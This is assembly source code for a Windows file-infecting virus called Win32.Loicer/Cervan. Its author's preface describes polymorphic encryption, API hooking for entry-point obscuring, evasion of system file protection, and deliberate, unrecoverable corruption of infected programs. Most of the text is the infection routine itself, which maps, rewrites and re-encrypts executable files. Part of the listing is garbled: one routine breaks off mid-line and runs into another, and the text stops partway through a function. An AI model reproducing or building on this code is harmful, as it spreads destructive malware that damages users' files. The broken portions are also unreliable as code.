Win32.Loicer, alias, Win32.Cervan

This is my biggest PE virus, it's about 3500 lines, the virus binary
size is more than 6K.
Maybe this is my last virus. I've decided to exit from the VXer scene.
 
It's a pity that there are too many bugs in it. There are two major bugs
in the original version, one is the second threads can dead lock under
some certain condition, the other is I didn't use any SEH in it, so it will
crash when scanning some DOS executables. I've patched the second bugs in
this source code.
 
This virus' main feature:
1, Simple polymorphism engine. This engine is my first poly engine. It's
very simple, but seems this engine can make some AV software hang the OS.
Some AV s/w's virtual machine can't run it correctly.
2, Unrecoverable infection. After infection, the host PE file structure has
been destroyed and almost impossible to recovery.
3, Full EPO. It doesn't modify the entry point. It uses a new infection
method. It removes the host file's import table and stored the import DLLs
and APIs name in its own buffer. Then it builds a new import table which only
imports LoadLibraryA and GetProcAddress, this two APIs are enough for it to
import all its and the host file's needed APIs. This is how it destroy the
host file. To implement EPO, it hook many APIs which imported by the host
file.
4, Both directly and indirectly infect. As I've said, it hooks many APIs
(about 15 APIs with both ANSI and Unicode version), so it only infects when
the hooked APIs are called. But when the infection is triggered, it will
active the second thread to do a short coninuous infection by searching the
directory.
 
To learn more about this virus, you can visit Symantec website and read
the write up about virus W32.Cervan.
 
Bye, the virus world, bye, the Chinese VXer scene.
You can contact me by mail vancheer@hotmail.com
`
 
.586
.model flat
 
include kernel32.inc
include user32.inc
include win32.inc
includelib kernel32.lib
includelib user32.lib
 
DEBUG = 0
 
if DEBUG
    addrGetLastError = 77e8668ch
    addrOutputDebugStringA = 77ea0c93h
 
    DEBUGBREAK equ int 3
else
    display 'Warning!!! This is release version!!!'
endif
 
MIN_SIZE_TO_INFECT equ (16*1024)
 
SECTION_QUERY equ 0001h
SECTION_MAP_WRITE equ 0002h
SECTION_MAP_READ equ 0004h
SECTION_MAP_EXECUTE equ 0008h
SECTION_EXTEND_SIZE equ 0010h
 
FILE_MAP_COPY equ SECTION_QUERY
FILE_MAP_WRITE equ SECTION_MAP_WRITE
FILE_MAP_READ equ SECTION_MAP_READ
;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS
 
PAGE_NOACCESS equ 01h
PAGE_READONLY equ 02h
PAGE_READWRITE equ 04h
PAGE_WRITECOPY equ 08h
PAGE_EXECUTE equ 10h
PAGE_EXECUTE_READ equ 20h
PAGE_EXECUTE_READWRITE equ 40h
PAGE_EXECUTE_WRITECOPY equ 80h
PAGE_GUARD equ 100h
PAGE_NOCACHE equ 200h
PAGE_WRITECOMBINE equ 400h
 
MEM_COMMIT equ 1000h
MEM_RELEASE equ 8000h
 
PTADD = 0
PTSUB = 1
PTROR = 2
PTROL = 3
PTXOR = 4
PTBSWAP = 5
 
PTNONE = 38h
PTNUM = 6
 
PolyUnit struc
    PUType db ?
    PUKey dd ?
    db 3 dup(?) ;for align
PolyUnit ends
 
PolyVar struc
    PVReg db 8 dup(?)
PolyVar ends
 
FileMapper struct
    FMBuffer dd ?
    FMFileName dd ?
    FMFileHandle dd ?
    FMMapHandle dd ?
    FMFileSize dd ?
    FMFileAttr dd ?
    FMFileTime dd 2*3 dup(?)
 
    FMPEBase dd ?
    FMCurPtr dd ?
 
    FMImportAPINum dd ?
 
    FMImportPA dd ?
    FMImportThunkPA dd ?
    FMImportStringPA dd ?
FMDataStartPA equ FMImportStringPA
    FMVirImportPA dd ?
    FMVirStartPA dd ?
    FMVirEntryPA dd ?
    FMPolyPA dd ?
 
    FMDataSize dd ? ;the size of can encrypt data
 
    FMLoadLibraryAPA dd ?
    FMGetProcAddressPA dd ?
 
    FMPolyUnit PolyUnit 32 dup(<>)
    FMPolyVar PolyVar <>
FileMapper ends
 
IMPORT_IS_ORD = 1
IMPORT_IS_NAME = 2
 
VIR_IMPORT_SIZE = 95
 
DEFUNICODE macro sym,str
&sym:
    irpc c,str
       dw '&c'
    endm
    dw 0
endm
 
.data
    cap db 'Caption',0
    msg db 'Message',0
    fn db 'tfuck.exe',0
    TmpBuffer db 3 dup(0)
    TmpPolyVar db 8 dup(0)
    TmpPolyUnit PolyUnit 500 dup(<>)
    wildfn db 'd:/asm/mv/*.*',0
    
    DEFUNICODE fnW,
    DEFUNICODE wildfnW,
    
    strKernel32 db 'kernel32.dll',0
    strLoadLibraryA db 'LoadLibraryA',0
    strGetProcAddress db 'GetProcAddress',0
 
.code
 
VirStart:
    cld
 
    call ImportBuildIP
ImportBuildIP:
    pop edx
 
    cld
    call GetVirAPIAddress
 
    lea esi,[edx+VirStart-ImportBuildIP]
    mov edi,VirVirtualSize
    call VirAlloc
    mov ecx,VirSize
    xchg eax,edi
    lea edx,[edi+ImportBuildIP-VirStart]
    rep movsb
    mov eax,edx
    add eax,VirContinue-ImportBuildIP
    jmp eax
 
VirContinue:
;Initialize some variant
    xor ecx,ecx
    mov [edx+CanSearchTick-ImportBuildIP],ecx
    pushad
 
    mov esi,edx
 
    push ecx
    push ecx
    push ecx
    push ecx
    call [esi+addrCreateEventA-ImportBuildIP]
    mov [esi+VirEventHandle-ImportBuildIP],eax
 
    xor ecx,ecx
    push eax
    push esp
    push ecx
    push ecx
    lea eax,[esi+SearchThread-ImportBuildIP]
    push eax
    push ecx
    push ecx
    call [esi+addrCreateThread-ImportBuildIP]
    pop eax
 
    popad
 
    mov esi,12345678h ;Redirected import table offset
RVAImportString equ $-4
 
;Decrypt import string
    push esi
    mov edi,esi
    mov ecx,12345678h
DecryptImportCount equ $-4
 
DecryptImportLoop:
    lodsb
    xor al,0
DecryptImportXorKey equ $-1
    ror al,0
DecryptImportRorKey equ $-1
    stosb
    loop DecryptImportLoop
DecryptImportEnd:
    pop esi
 
    mov eax,[esp+9*4] ;API ordinal
    push eax
    push large ecx ;API count=0
    mov ebp,esp
 
    mov edi,87654321 ;Import table address
RVAImportPA equ $-4
 
    lea ebx,[edx+ImportBuildCallback-ImportBuildIP]
    sub edi,4
ImportBuildLoop:
    add edi,4
    push edi
    mov edi,[edi]
    call VirGetAddress
    pop edi
    cmp byte ptr [esi],0
    jnz short ImportBuildLoop
 
    pop eax
    pop eax
    mov [esp+9*4],eax
 
    popfd
    popad
    retn
ImportBuild_end:
 
 
ImportBuildCallback:
    push ecx
    push edi
    pushfd
 
    or eax,eax
    jz short ImportBuildCallbackNotHook
    call ImportBuildCallbackIP
ImportBuildCallbackIP:
    pop edx
 
    std
    lea edi,[edx+HookAPITable+HookNum*4-4-ImportBuildCallbackIP]
    push large HookNum
    pop ecx
    repnz scasd
    jnz short ImportBuildCallbackNotHook
    lea edi,[edx+ecx*2+HookProcTable-ImportBuildCallbackIP]
    movzx eax,word ptr [edi]
    lea edi,[edx+VirStart-ImportBuildCallbackIP]
    add eax,edi
 
ImportBuildCallbackNotHook:
    mov edx,[ebp]
    cmp edx,[ebp+4]
    jnz short ImportBuildCallback1
    mov [ebp+4],eax
ImportBuildCallback1:
    inc dword ptr [ebp]
 
    popfd
    pop edi
    pop ecx
    retn
ImportBuildCallback_end:
 
;Get the API address used by vir
;Param: edx=>ImportBuildIP
GetVirAPIAddress:
    pushad
 
    xor ebx,ebx
 
    lea esi,[edx+Kernel32APIName-ImportBuildIP]
    lea edi,[edx+Kernel32APIAddr-ImportBuildIP]
    call VirGetAddress
 
    lea esi,[edx+Shell32APIName-ImportBuildIP]
    lea edi,[edx+Shell32APIAddr-ImportBuildIP]
    call VirGetAddress
 
    lea esi,[edx+SfcAPIName-ImportBuildIP]
    lea edi,[edx+SfcAPIAddr-ImportBuildIP]
    call VirGetAddress
 
    lea esi,[edx+ComDlg32APIName-ImportBuildIP]
    lea edi,[edx+ComDlg32APIAddr-ImportBuildIP]
    call VirGetAddress
 
    lea esi,[edx+User32APIName-ImportBuildIP]
    lea edi,[edx+User32APIAddr-ImportBuildIP]
    call VirGetAddress
 
    popad
    retn
GetVirAPIAddress_end:
 
;Redirected import table
;db kernel32.dll
;db 1,db CreateFileA
;db 2 dw hint
;db WriteFile
;db 0
;db user32.dll
;........
;db 0
;db 0
 
;Load DLL and get all api address
;Param: esi->DLL name,edi->address,ebx->call back function,ebp=param for the callback
;Return: esi->after null byte
;Callback param: eax=API address,ebp=user defined param,edi->address API to store to
;Callback return: eax=API address to store
VirGetAddress:
    push edx
 
    mov edx,12345678h ;RVA of LoadLibraryA
RVALoadLibraryA equ $-4
 
    mov eax,esi
    call VirGetStrTail
    xchg eax,esi
 
    push dword ptr [eax]
    push eax
 
    mov byte ptr [eax],0
 
    push esi
    call [edx]
    mov ecx,eax
 
    pop eax
    pop dword ptr [eax]
    xchg esi,eax
VirGetAddressLoop:
    lodsb
    or al,al
    jz short VirGetAddressRet
 
    push ebp
    push ecx
 
    cmp al,IMPORT_IS_NAME
    jz short VirGetAddressIsName
    xor eax,eax
    lodsw
    mov ebp,[esi]
    push esi
    push eax
    jmp short VirGetAddress1
VirGetAddressIsName:
    push esi
    call VirGetStrTail
    mov ebp,[esi]
    mov byte ptr [esi],0
    xchg esi,[esp]
    push esi
VirGetAddress1:
    push ecx
    mov edx,55667788h; RVA of GetProcAddress
RVAGetProcAddress equ $-4
    call [edx]
 
    pop esi
    mov [esi],ebp
    pop ecx
    pop ebp
 
    or ebx,ebx
    jz short VirGetAddressNoCallback
    call ebx
VirGetAddressNoCallback:
 
    stosd
    jmp short VirGetAddressLoop
 
VirGetAddressRet:
    pop edx
 
    retn   
VirGetAddress_end:
 
;Find the first byte which is less than 6
;Param: esi->string
;Return: esi->strange byte
VirGetStrTail:
    dec esi
VirGetStrTailLoop:
    inc esi
    cmp byte ptr [esi],5
    ja short VirGetStrTailLoop
    retn
VirGetStrTail_end:
 
;Infect a file
;Param: edi->FileName
InfectFile:
    pushad
    call InfectFileIP
InfectFileIP:
    pop ebp
 
    cld
 
    or edi,edi
    jz InfectFileRet
 
    mov esi,edi
    call VirGetStrTail
 
if DEBUG
mov eax,[esi-8]
call EAXToLowcase
cmp eax,'kcuf' ;if debuging,only infect *fuck.exe
jnz InfectFileRet
endif
 
    mov eax,[esi-4]
    call EAXToLowcase
    cmp eax,'exe.'
    jz short InfectFileStart
    cmp eax,'rcs.'
    jnz InfectFileRet
 
 
InfectFileStart:
    call IsInDllCache
    jnz InfectFileRet
 
;Check for SFC
    mov ecx,[ebp+addrSfcIsFileProtected-InfectFileIP]
    jecxz CheckSFCEnd ;is not Win2K,don't check SFC
    mov esi,1000
    sub esp,esi
 
    mov eax,esp
    push ecx
 
    push large 500
    push eax
    push large -1
    push edi
    push large 1 ;MB_PRECOMPOSED
    push large 0 ;CP_ACP
    call [ebp+addrMultiByteToWideChar-InfectFileIP]
 
    pop ecx
    push esp
    push large 0
    call ecx
 
    add esp,esi
 
    or eax,eax
    jnz InfectFileRet
CheckSFCEnd:
 
    sub esp,size FileMapper
    mov esi,esp
    call MapFile
    jz InfectFileFailMap
    push esi
 
    push ebp
    lea ecx,[ebp+InfectFileSEH-InfectFileIP]
    push ecx
    xor ecx,ecx
    push dword ptr fs:[ecx]
    mov fs:[ecx],esp
 
    mov [ebp+InfectFileESP-InfectFileIP],esp
 
    cmp [esi].FMFileSize,16*1024 ;only infect files size bigger than 16K
    jc InfectFileUnmap
 
    mov ebx,eax
    call CheckPE
    jz InfectFileUnmap
    mov [esi].FMPEBase,eax
 
;Check whether it's a WinZip Self-Extractor file
    movzx edx,word ptr [eax+14h]
    mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData
    add edx,ebx
    cmp dword ptr [edx+10h],'ZniW'
    jnz NotWinzip
    cmp word ptr [edx+10h+4],'pi'
    jz InfectFileUnmap
NotWinzip:
 
;Check whether the file is a SFX(RAR file)
    xor edi,edi
    call get_section_of_rva
    mov ecx,[edx+0ch]
    add ecx,[edx+8]
    mov edx,ecx
    shr ecx,3
    add ecx,edx
    cmp ecx,[esi].FMFileSize
    jna InfectFileUnmap
    add edx,ebx ;now ecx->perhaps rar file header
    cmp dword ptr [edx],21726152h ;test for rar signature
    jz InfectFileUnmap
 
    mov edi,[eax+80h] ;Import Table RVA
    call get_section_of_rva
    jz InfectFileUnmap ;No import table
    or byte ptr [edx+1ch+3],80h ;modify raw import section as writable
 
    call RVAToPA
    add edi,ebx
 
;Check infected.If there is only one DLL loaded,it's infected.
    cmp dword ptr [edi+3*4],0
    jz InfectFileUnmap ;has no import table
    cmp dword ptr [edi+3*4+5*4],0 ;next dll name
    jz InfectFileUnmap ;hasn't second dll,maybe infected
 
    add ebx,[esi].FMFileSize
    mov [esi].FMCurPtr,ebx
 
    push edi
    push eax
    lea edi,[eax+0d0h]
    lea ecx,[eax+0a0h]
    xor eax,eax
    stosd ;Clear import bind entry
    stosd
    stosd ;Clear Import Address Table entry
    stosd
    xchg ecx,edi
    stosd ;Clear relocation
    stosd
    pop eax
    pop edi
 
    call RedirectImpoartTable
    mov ebx,[esi].FMCurPtr
 
    call BuildVirImportTable
    mov ebx,[esi].FMCurPtr
 
    mov edi,ebx
    call PolyGenGarbageBuffer ;insert some garbage code
 
    push eax
    mov [esi].FMVirEntryPA,edi
 
    mov ax,9c60h ;pushad/pushfd
    stosw
 
    add edi,10 ; space for two mov reg32,imm32,must be 10 bytes
 
    pop eax
 
    mov [esi].FMPolyPA,edi
    push ebp
    push esi
    push eax
 
    call VirGetRand
    xchg eax,edx
    and dl,1
    add dl,6 ;use esi or edi as pointer reg
    and dh,3 ;use common reg as counter
    lea ebp,[esi].FMPolyVar
    lea esi,[esi].FMPolyUnit
    call VirPoly
 
    pop eax
    pop esi
    pop ebp
 
    mov [esi].FMVirStartPA,edi
    push esi
    lea esi,[ebp+VirStart-InfectFileIP]
    mov ecx,VirSize
    rep movsb
    pop esi
 
    call PolyGenGarbageBuffer ;insert some garbage code
 
    mov [esi].FMCurPtr,edi
 
;Initialize some variant
    pushad
    mov ecx,[esi].FMVirStartPA
 
    mov edi,[esi].FMLoadLibraryAPA
    call RealPAToRVA
    mov [ecx+RVALoadLibraryA-VirStart],edi
 
    mov edi,[esi].FMGetProcAddressPA
    call RealPAToRVA
    mov [ecx+RVAGetProcAddress-VirStart],edi
 
    mov edi,[esi].FMImportPA
    call RealPAToRVA
    mov [ecx+RVAImportPA-VirStart],edi
 
    mov edi,[esi].FMImportStringPA
    push edi
    call RealPAToRVA
    mov [ecx+RVAImportString-VirStart],edi
    pop edi
 
;Encrypt import string
    pushad
    mov edx,[esi].FMDataSize
    mov [ecx+DecryptImportCount-VirStart],edx
    call VirGetRand
    mov [ecx+DecryptImportRorKey-VirStart],al
    mov [ecx+DecryptImportXorKey-VirStart],ah
    mov cl,al
    mov esi,edi
EncryptImportLoop:
    lodsb
    rol al,cl
    xor al,ah
    stosb
    dec edx
    jnz short EncryptImportLoop
    popad
 
    mov edi,ecx
    call RealPAToRVA
    mov ecx,[esi].FMVirEntryPA
    mov al,0b8h
    or al,dl
    mov [ecx+2],al
    mov [ecx+3],edi
 
;Encrypt virus body
    mov ebx,ecx
    mov edi,[esi].FMVirStartPA
    lea esi,[esi].FMPolyUnit
    mov ecx,VirSize
    call VirEncrypt
 
    mov al,0b8h
    or al,dh
    mov [ebx+7],al
    mov [ebx+8],ecx
 
    popad
 
    call FillThunkCode
 
;Save vir import entry
    mov edi,[esi].FMVirImportPA
    sub edi,[esi].FMBuffer
    call PAToRVA
    mov [eax+80h],edi
    push large VIR_IMPORT_SIZE
    pop dword ptr [eax+84h]
 
;Enlarge the file
    xor edi,edi
    call get_section_of_rva
    mov ecx,[esi].FMCurPtr
    sub ecx,[esi].FMBuffer
    sub ecx,[edx+0ch]
    call RouncECX
    cmp ecx,[edx]
    jc short InfectFileRound1
    mov [edx],ecx
InfectFileRound1:
    cmp ecx,[edx+8]
    jc short InfectFileRound2
    mov [edx+8],ecx
InfectFileRound2:
    mov ecx,[edx+0ch]
    add ecx,[edx+8]
    mov [esi].FMFileSize,ecx
 
    push ecx
 
    mov ecx,[edx]
    add ecx,[edx+4]
    call RouncECX
    mov [eax+50h],ecx ;SizeOfImage
 
    or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h
 
;Calc eheck sum
    pop ecx
    lea ebx,[eax+58h] ;CheckSum
    xor edx,edx
    cmp dword ptr [ebx],edx
    jz short NoChecksum
    mov dword ptr [ebx],edx
    mov esi,[esi].FMBuffer
    push ecx
    shr ecx,1
    clc
ChecksumLoop:
    lodsw
    adc dx,ax
    loop ChecksumLoop
    pop ecx
    add edx,ecx
    mov [ebx],edx
 
NoChecksum:
 
InfectFileUnmap:
    mov esp,12345678h
InfectFileESP equ $-4
    xor ecx,ecx
    pop dword ptr fs:[ecx]  ; restore except chain
    pop ecx
    pop ecx
 
    pop esi
    call UnmapFile
 
InfectFileFailMap:
    add esp,size FileMapper
 
InfectFileRet:
    popad
    retn
InfectFile_end:
 
 
InfectFileSEH:
    call InfectFileSEHIP
InfectFileSEHIP:
    pop eax
 
    lea eax,[eax+InfectFileUnmap-InfectFileSEHIP]
    push eax
    mov eax,[esp + 0ch+4]
    pop dword ptr [eax + 0B8h]
    xor eax,eax
    retn
InfectFileSEH_end:
 
 
RealPAToRVA:
    sub edi,[esi].FMBuffer
    call PAToRVA
    add edi,[eax+34h] ;ImageBase
    retn
RealPAToRVA_end:
 
 
;Round ecx to 1000h
RouncECX:
    test cx,0fffh
    jz short RouncECX1
    and cx,0f000h
    add ecx,1000h
RouncECX1:
    retn
RouncECX_end:
 
 
;Fill the raw import table to our entry
;Param: eax->PE base,esi->FilaMapper
FillThunkCode:
    pushad
 
    mov ecx,[esi].FMImportAPINum
    mov edi,[esi].FMVirEntryPA
    sub edi,[esi].FMBuffer
    call PAToRVA
    mov edx,edi
    mov edi,[esi].FMImportThunkPA
    mov ebx,edi
    sub edi,[esi].FMBuffer
    call PAToRVA
    sub edx,edi
 
FillThunkCodeLoop:
    sub edx,1+4+1+4
    mov byte ptr [ebx+1+4],0e9h
    mov [ebx+1+4+1],edx
    add ebx,1+4+1+4
    loop FillThunkCodeLoop
 
    popad
    retn
FillThunkCode_end:
 
;Param: esi->FileMapper,eax->PE base,DF=0
BuildVirImportTable:
    pushad
    call BuildVirImportTableIP
BuildVirImportTableIP:
    pop ebp
 
    xor edi,edi
    call get_section_of_rva
    mov ecx,edx
    mov edi,[eax+28h]
    call get_section_of_rva
 
    push eax
 
    cmp edx,ecx
    jnc BuildVirImportTableNoCavPop ;is the last section
 
    lea eax,[edx+8]
    mov ebx,[eax]
    cmp ebx,[edx]
    jc short BuildVirImportTableFindCav2
    mov ebx,[edx]
    mov eax,edx
BuildVirImportTableFindCav2:
    or ebx,ebx
    jz BuildVirImportTableNoCavPop ;the minor size is zero,don't use it
 
    mov edi,[edx+28h+0ch] ;next section's PointerToRawData
    add ebx,[edx+0ch]
    sub edi,ebx
    cmp edi,VIR_IMPORT_SIZE+10
    jle short BuildVirImportTableNoCavPop
    mov edi,ebx
    add edi,[esi].FMBuffer
    add dword ptr [eax],VIR_IMPORT_SIZE+10 ;enlarge raw data size
    or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h
    and dword ptr [edx+1ch],not 02020000 ;remove discardable Characteristics
    jmp short BuildVirImportTableBeginBuild
 
BuildVirImportTableNoCavPop:
    mov edi,[esi].FMCurPtr
 
BuildVirImportTableBeginBuild:
    pop eax
 
 
    mov [esi].FMVirImportPA,edi
    push eax
    xor eax,eax
    push large 5*2+3
    pop ecx
    rep stosd
    pop eax
 
    push edi
    push esi
    push large VirImportTableStringSize
    pop ecx
    lea esi,[ebp+VirImportTable-BuildVirImportTableIP]
    rep movsb
    pop esi
 
    cmp edi,[esi].FMCurPtr
    jb short BuildVirImportTableInner
    mov [esi].FMCurPtr,edi
BuildVirImportTableInner:
    pop edi
 
    lea edx,[edi-3*4-5*4-2*4] ;->DLL name RVA
    sub edi,[esi].FMBuffer
    call PAToRVA
    mov [edx],edi
    sub edi,3*4
    mov [edx+4],edi
    add edx,5*4+2*4
    add edi,3*4+12
    mov [edx],edi
    mov [esi].FMLoadLibraryAPA,edx
    add edi,14
    add edx,4
    mov [edx],edi
    mov [esi].FMGetProcAddressPA,edx
    popad
    retn
BuildVirImportTable_end:
 
comment $
Redirect Import Table format
db 'kernel32.dll'
db IMPORT_IS_NAME,'CreateFileA'
db IMPORT_IS_ORD,1,2
db IMP...
db 0
next dll
db 0
 
Import Thunk Code format
push large ordinal
jmp vircode
$
;Param: edi->Raw import table,esi->FileMapper,eax->PE base,DF=0
RedirectImpoartTable:
    pushad
    mov ebx,[esi].FMCurPtr
    mov [esi].FMImportStringPA,ebx
 
    push edi
    push eax
 
    mov edx,edi
    sub edx,5*4
 
RedirectImpoartTableLoop:
    add edx,5*4
    mov edi,[edx+4*3] ;edi->DLL name RVA
    or edi,edi
    jz short RedirectImpoartTableThunk
    mov eax,[esi].FMPEBase
    call RVAToPA
    mov ecx,[esi].FMBuffer
    add edi,ecx
    push eax
;Copy DLL name
RedirectImpoartTable1:
    mov al,[edi]
    mov [ebx],al
    mov byte ptr [edi],0 ;trash the DLL name
    inc edi
    inc ebx
    or al,al
    jnz short RedirectImpoartTable1
 
    dec ebx ;no tail null byte
 
;Some APPs' FirstThunk not point to vaild address
;so we must use Characteristics at first
    mov edi,[edx] ;edi->DLL Characteristics
    or edi,edi
    jnz short RedirectImpoartTableUseDLLChar
    mov edi,[edx+4*4] ;edi->FirstThunk RVA
RedirectImpoartTableUseDLLChar:
    pop eax
    call RVAToPA
    add edi,ecx
    sub edi,4
 
RedirectImpoartTableAPILoop:
    add edi,4
    mov ecx,[edi]
    mov byte ptr [ebx],0
    inc ebx
    jecxz RedirectImpoartTableLoop
    dec ebx
    test ecx,80000000h
    jnz short RedirectImpoartTableIsOrd
    xchg ecx,edi
    call RVAToPA
    xchg ecx,edi
    add ecx,[esi].FMBuffer
    inc ecx
    inc ecx ;Skip ordinal
    mov byte ptr [ebx],IMPORT_IS_NAME
    inc ebx
;Copy API name
RedirectImpoartTable2:
    push eax
    mov al,[ecx]
    mov [ebx],al
    mov byte ptr [ecx],0 ;trash API name
    inc ebx
    inc ecx
    or al,al
    pop eax
    jnz short RedirectImpoartTable2
 
    dec ebx ;no tail null byte
 
    jmp short RedirectImpoartTableAPILoop
RedirectImpoartTableIsOrd:
    mov byte ptr [ebx],IMPORT_IS_ORD
    inc ebx
    mov word ptr [ebx],cx
    inc ebx
    inc ebx
    jmp short RedirectImpoartTableAPILoop
 
;Generate thunk code
RedirectImpoartTableThunk:
    mov eax,ebx
    sub eax,[esi].FMImportStringPA
    mov [esi].FMDataSize,eax
 
    mov byte ptr [ebx],0 ;import table tail null byte
    inc ebx
 
    mov dword ptr [esi].FMImportAPINum,0
    pop eax ;PE base
    pop edx ;Import table
 
    mov [esi].FMImportThunkPA,ebx
    push edx
    push eax
    sub edx,4*5
RedirectImpoartTableThunkLoop:
    add edx,4*5
    cmp dword ptr [edx+3*4],0
    jz short RedirectImpoartTableTrash
 
    mov edi,[edx+4*4]
 
    call RVAToPA
    add edi,[esi].FMBuffer
    sub edi,4
RedirectImpoartTableThunkAPILoop:
    add edi,4
    mov ecx,edi
    cmp dword ptr [ecx],0
    jz short RedirectImpoartTableThunkLoop
    push edi
    mov edi,ebx
    sub edi,[esi].FMBuffer
    call PAToRVA
    add edi,[eax+34h] ;ImageBase
    mov [ecx],edi ;Redirect import address to our thunk code
    pop edi
 
    mov byte ptr [ebx],68h ;push imm32
    inc ebx
    push dword ptr [esi].FMImportAPINum
    pop dword ptr [ebx]
    inc dword ptr [esi].FMImportAPINum
    add ebx,4+1+4
    jmp short RedirectImpoartTableThunkAPILoop
 
;Trash import table structure,build the DLL APIs table
RedirectImpoartTableTrash:
    pop edx
    pop edi
    mov [esi].FMImportPA,ebx
    xor eax,eax
 
RedirectImpoartTableTrashLoop:
    mov [ebx],eax
    cmp dword ptr [edi+3*4],0
    jz short RedirectImpoartTableRet
    mov ecx,[edi+4*4]
    add ecx,[edx+34h] ;ImageBase
    mov [ebx],ecx
 
    push large 5
    pop ecx
    rep stosd ;trash import table structure
    add ebx,4
    jmp short RedirectImpoartTableTrashLoop
 
RedirectImpoartTableRet:
    mov [esi].FMCurPtr,ebx
    popad
    retn
RedirectImpoartTable_end:
 
;Param: edi=size in byte to alloc
;Return: eax->Buffer
VirAlloc:
    pushad
    call VirAllocIP
VirAllocIP:
    pop ebp
    push large PAGE_EXECUTE_READWRITE
    push large MEM_COMMIT
    push edi
    push large 0
    call [ebp+addrVirtualAlloc-VirAllocIP]
    call SetMemZero
    mov [esp+7*4],eax
    popad
    retn
VirAlloc_end:
 
;Param: eax->Buffer,edi=size in byte to alloc,DF=0
SetMemZero:
    pushad
    mov ecx,edi
    mov edi,eax
    xor eax,eax
    rep stosb
    popad
    retn
SetMemZero_end:
 
;Parem: ebx->image base
;Return: ZF not set,is valid PE,ZF set,invalid,eax->PE base
CheckPE:
    push ecx
    xor ecx,ecx
    cmp word ptr [ebx],'ZM'
    jnz short CheckPERet
    mov eax,[ebx+3ch]
    cmp eax,4*1024
    ja short CheckPERet
    add eax,ebx
    cmp word ptr [eax],'EP'
    jnz short CheckPERet
    test byte ptr [eax+16h+1],20h ;Is a DLL?
    jnz short CheckPERet
    mov dl,[eax+5ch] ;Subsystem
    and dl,0feh
    cmp dl,2
    jnz short CheckPERet
    inc ecx
CheckPERet:
    or ecx,ecx
    pop ecx
    retn
CheckPE_end:
 
;Get the section of a RVA
;in--eax=PE base,edi=RVA to find
;out--edx->section header.VirtualSize,ecx=0 means not found
;if not found,edx=>last section header.VirtualSize
get_section_of_rva:
    push esi
    push ecx
    movzx edx,word ptr [eax+14h]
    lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize
    movzx ecx,word ptr [eax+6]
    inc ecx
get_section_of_rva_1:
    dec ecx
    jecxz get_section_of_rva_2
    add edx,28h ;->VirtualSize
    mov esi,[edx+4]; esi=VirtualAddress
    cmp edi,esi ;RVAbefore first section header.VirtualSize
    movzx ecx,word ptr [eax+6]
    inc ecx
PAToRVA_1:
    dec ecx
    jecxz PAToRVA_2
    add edx,28h
    cmp edi,[edx+28h+0ch];next section PointerToRawData
    jnb short PAToRVA_1
PAToRVA_2:
    sub edi,[edx+0ch]
    add edi,[edx+4]
    pop edx
    pop ecx
    retn
PAToRVA_end:
 
 
;Create a file mapping
;Param: esi->FileMapper edi->FileName
MapFile:
    push ebp
    push ebx
 
    call MapFileIP
MapFileIP:
    pop ebp
 
    push large (size FileMapper) - 1
    pop ecx
    xor eax,eax
MapFileInit:
    mov byte ptr [esi+ecx],al
    loop MapFileInit
    mov dword ptr [esi],eax
 
    mov [esi].FMFileName,edi
 
    push edi
    call [ebp+addrGetFileAttributesA-MapFileIP]
    mov [esi].FMFileAttr,eax
 
    and eax,not FILE_ATTRIBUTE_READONLY
    push eax
    push edi
    call [ebp+addrSetFileAttributesA-MapFileIP]
 
    push large 0
    push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN
    push large OPEN_EXISTING
    push large 0
    push large FILE_SHARE_READ
    push large GENERIC_WRITE or GENERIC_READ
    push edi
    call [ebp+addrCreateFileA-MapFileIP]
    inc eax
    jz short MapFileRet
    mov [esi].FMFileHandle,eax
 
    dec eax
 
    lea ebx,[esi].FMFileTime
    push ebx ;ebx->file last write time
    add ebx,8
    push ebx
    add ebx,8
    push ebx
    push eax
    call [ebp+addrGetFileTime-MapFileIP]
 
    push ecx
    push esp ;->file size high
    push [esi].FMFileHandle
    call [ebp+addrGetFileSize-MapFileIP]
    pop ecx
    inc eax
    jz MapFileRet
    dec eax
    or ecx,ecx
    jnz MapFileRet
    mov [esi].FMFileSize,eax
 
    xchg eax,ebx
 
    add ebx,256*1024 ; 256K buffer
    xor edx,edx
    push edx
    push ebx
    push edx
    push large PAGE_READWRITE
    push edx
    push [esi].FMFileHandle
    call [ebp+addrCreateFileMappingA-MapFileIP]
 
    or eax,eax
    jz MapFileRet
    mov [esi].FMMapHandle,eax
 
    push ebx
    push large 0
    push large 0
    push large FILE_MAP_WRITE
    push eax
    call [ebp+addrMapViewOfFile-MapFileIP]
    mov [esi].FMBuffer,eax
 
MapFileRet:
    pop ebx
    pop ebp
    mov eax,[esi].FMBuffer
    or eax,eax
    ret
MapFile_end:
 
;Unmap a file mapping
;Param: esi->FileMapper
UnmapFile:
    pushad
    call UnmapFileIP
UnmapFileIP:
    pop ebp
    push [esi].FMBuffer
    call [ebp+addrUnmapViewOfFile-UnmapFileIP]
 
    push [esi].FMMapHandle
    call [ebp+addrCloseHandle-UnmapFileIP]
 
    push large 0
    push large 0
    push [esi].FMFileSize
    push [esi].FMFileHandle
    call [ebp+addrSetFilePointer-UnmapFileIP]
 
    mov edi,[esi].FMFileHandle
    push edi
    call [ebp+addrSetEndOfFile-UnmapFileIP]
 
    lea ebx,[esi].FMFileTime
    push ebx
    add ebx,8
    push ebx
    add ebx,8
    push ebx
    push edi
    call [ebp+addrSetFileTime-UnmapFileIP]
 
    push edi
    call [ebp+addrCloseHandle-UnmapFileIP]
 
    push [esi].FMFileAttr
    push [esi].FMFileName
    call [ebp+addrSetFileAttributesA-UnmapFileIP]
 
    popad
    retn
UnmapFile_end:
 
 
EAXToLowcase:
    push ecx
    push large 4
    pop ecx
EAXToLowcase_0:
    cmp al,'A'
    jc EAXToLowcase_1
    cmp al,'Z'
    ja EAXToLowcase_1
    add al,'a'-'A'
EAXToLowcase_1:
    ror eax,8
    loop EAXToLowcase_0
    pop ecx
    retn
EAXToLowcase_end:
 
 
;Check whether the path include 'tem32/dllcach'('system32/dllcache')
;Param: edi->full path file name,esi->tail of file name
;Return: ZF=0 means is,ZF=1 means not
IsInDllCache:
    pushad
 
    xor ebx,ebx
    xchg esi,edi
IsInDllCacheLoop:
    push esi
    lodsd
    call EAXToLowcase
    cmp eax,'3met'
    jnz short IsInDllCacheNext
